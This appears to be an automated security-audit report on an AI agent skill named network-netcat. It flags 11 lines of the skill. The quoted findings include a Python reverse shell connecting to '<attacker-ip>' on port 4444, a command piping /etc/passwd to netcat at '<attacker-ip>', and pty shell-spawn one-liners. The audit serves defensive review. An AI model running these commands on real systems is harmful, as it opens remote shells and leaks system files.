network-netcat
Facilitates network testing and security assessments using Netcat for connectivity checks, file transfers, and port scanning.
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The network-netcat skill was audited on Feb 28, 2026 and we found 11 security issues across 3 threat categories, including 4 high-severity. Review the findings below before installing.
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Security Issues
high line 198
Direct command execution function call
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| 198 | python -c 'import pty; pty.spawn("/bin/bash")' |
high line 199
Direct command execution function call
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| 199 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
high line 531
Direct command execution function call
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| 531 | python -c 'import pty; pty.spawn("/bin/bash")' |
medium line 182
Python subprocess execution
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| 182 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess |
high line 401
Access to /etc/passwd
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| 401 | cat /etc/passwd | nc <attacker-ip> 5555 |
low line 18
External URL reference
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| 18 | - https://nmap.org/ncat/guide/index.html |
low line 19
External URL reference
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| 19 | - https://attack.mitre.org/techniques/T1059/ |
low line 562
External URL reference
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| 562 | - [Ncat Users' Guide](https://nmap.org/ncat/guide/index.html) |
low line 563
External URL reference
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| 563 | - [GTFOBins: netcat](https://gtfobins.github.io/gtfobins/nc/) |
low line 564
External URL reference
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| 564 | - [MITRE ATT&CK: Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/) |
low line 565
External URL reference
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| 565 | - [PTES: Post Exploitation](http://www.pentest-standard.org/index.php/Post_Exploitation) |
Scanned on Feb 28, 2026
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